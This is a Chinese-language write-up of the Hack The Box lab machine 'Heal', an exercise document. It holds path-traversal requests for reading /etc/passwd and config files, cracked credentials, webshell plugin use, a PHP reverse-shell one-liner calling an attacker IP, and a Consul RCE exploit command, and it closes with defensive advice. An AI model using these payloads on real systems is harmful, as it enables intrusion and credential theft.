Linux渗透实战之HTB-Heal
字数 1320 2025-08-22 12:23:06
HTB-Heal 渗透实战教学文档
1. 信息收集阶段
1.1 初始端口扫描
使用nmap进行快速端口扫描:
nmap -sT --min-rate 10000 -p- 10.10.11.46
发现开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
1.2 详细服务扫描
nmap -sTVC -O -p22,80 10.10.11.46
获取详细信息:
- SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
- HTTP: nginx 1.18.0 (Ubuntu)
2. Web应用渗透
2.1 初始访问
- 访问http://heal.htb发现登录界面,可注册
- 注册后进入简历生成器功能
2.2 目录遍历漏洞利用
在简历生成过程中抓包(Burp Suite),发现filename参数存在目录遍历漏洞:
GET /download.php?filename=../../../../etc/passwd
成功读取/etc/passwd,发现用户:
- ron
- ralph
2.3 目录爆破
使用gobuster进行目录爆破:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://heal.htb -t 50
发现重要路径:
- /survey
2.4 子域名发现
- 访问/survey发现子域名http://take-survey.heal.htb
- 在index.php中发现用户名ralph
使用feroxbuster进行子域名爆破:
feroxbuster --url http://take-survey.heal.htb/index.php/ -C 503
发现管理后台:
http://take-survey.heal.htb/index.php/admin/authentication/sa/login
2.5 配置文件读取
- 发现api子域名http://api.heal.htb
- 通过目录遍历读取LimeSurvey配置文件:
http://take-survey.heal.htb/download.php?filename=../../../../var/www/limesurvey/application/config/config.php
- 读取数据库配置文件:
http://take-survey.heal.htb/download.php?filename=../../../../var/www/limesurvey/application/config/database.yml
获取数据库凭据,使用john破解得到:
ralph:147258369
3. 初始访问获取
3.1 LimeSurvey后台登录
使用凭据ralph:147258369登录LimeSurvey管理后台
3.2 LimeSurvey RCE漏洞利用
利用插件上传漏洞执行RCE:
- 下载webshell插件:
git clone https://github.com/p0dalirius/LimeSurvey-webshell-plugin
-
修改console.py中的路径(如需)
-
上传插件zip文件并激活
-
访问后门执行命令:
http://take-survey.heal.htb/plugins/Shell/Shell.php?action=exec&cmd=id
- 反弹shell:
php -r '$sock=fsockopen("10.10.16.41",8888);shell_exec("sh <&3 >&3 2>&3");'
3.3 获取SSH凭据
在配置文件中发现密码:
find /var/www/ -name '*config*' 2>/dev/null
找到/var/www/limesurvey/application/config/config.php,包含密码:
AdmiDi0_pA
$$
w0rd
使用crackmapexec验证SSH:
crackmapexec ssh 10.10.11.46 -u ron -p AdmiDi0_pA
$$
w0rd
成功获取SSH访问权限。
4. 权限提升
4.1 内网服务发现
检查本地服务:
ss -tuln
发现多个内部端口,重点关注:
- 3000
- 8500
- 8600
4.2 SSH端口转发
ssh ron@heal.htb -L 3000:127.0.0.1:3000
ssh ron@heal.htb -L 8500:127.0.0.1:8500
ssh ron@heal.htb -L 8600:127.0.0.1:8600
4.3 Hashicorp Consul RCE
- 访问http://localhost:8500
- 查看页面源码发现Consul版本信息
- 使用searchsploit查找漏洞:
searchsploit consul
- 下载并执行漏洞利用脚本:
python consul_rce.py --acl-token=随便填 --cmd="whoami" http://localhost:8500
5. 关键知识点总结
- 目录遍历漏洞:通过filename参数读取系统敏感文件
- 子域名爆破:发现隐藏的管理后台和API接口
- 配置文件泄露:通过目录遍历获取数据库和系统配置
- LimeSurvey RCE:通过插件上传漏洞获取初始访问权限
- SSH端口转发:访问内部服务进行横向移动
- Hashicorp Consul RCE:最终权限提升的关键漏洞
6. 防御建议
- 修复目录遍历漏洞,严格过滤用户输入
- 加强配置文件权限,避免敏感信息泄露
- 及时更新易受攻击的组件(如LimeSurvey、Consul)
- 实施最小权限原则,限制服务账户权限
- 监控异常端口转发行为
- 使用强密码策略,避免密码重用